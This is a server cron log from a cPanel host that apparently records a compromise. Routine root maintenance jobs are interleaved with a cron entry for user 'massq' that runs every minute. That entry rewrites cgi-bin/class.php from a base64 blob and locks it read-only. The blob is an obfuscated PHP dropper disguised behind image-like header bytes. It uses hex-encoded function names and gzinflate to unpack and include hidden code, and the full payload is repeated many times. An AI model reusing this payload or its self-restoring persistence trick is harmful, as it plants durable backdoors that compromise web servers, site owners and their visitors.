Sep  8 13:40:01 server CROND[23311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:40:01 server CROND[23315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:40:01 server CROND[23312]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:40:01 server CROND[23309]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:41:01 server CROND[24128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:41:01 server CROND[24129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:41:01 server CROND[24130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:42:01 server CROND[24613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:42:01 server CROND[24614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:42:01 server CROND[24615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:42:01 server CROND[24616]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:43:01 server CROND[25011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:43:01 server CROND[25012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:43:01 server CROND[25013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:44:01 server CROND[25407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:44:01 server CROND[25408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:44:01 server CROND[25409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:45:01 server CROND[25833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:45:01 server CROND[25837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:45:01 server CROND[25835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:45:01 server CROND[25839]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:45:01 server CROND[25836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:45:01 server CROND[25840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:45:01 server CROND[25838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:46:01 server CROND[26669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:46:01 server CROND[26671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:46:01 server CROND[26670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:47:01 server CROND[27199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:47:01 server CROND[27200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:47:01 server CROND[27201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:48:01 server CROND[27587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:48:01 server CROND[27588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:48:01 server CROND[27589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:49:01 server CROND[28006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:49:01 server CROND[28008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:49:01 server CROND[28007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:50:01 server CROND[28397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:50:01 server CROND[28402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:50:01 server CROND[28399]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:50:01 server CROND[28403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:50:01 server CROND[28404]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:50:01 server CROND[28400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:50:01 server CROND[28405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:50:01 server CROND[28401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:50:01 server CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:51:01 server CROND[29233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:51:01 server CROND[29234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:51:01 server CROND[29235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:52:01 server CROND[29720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
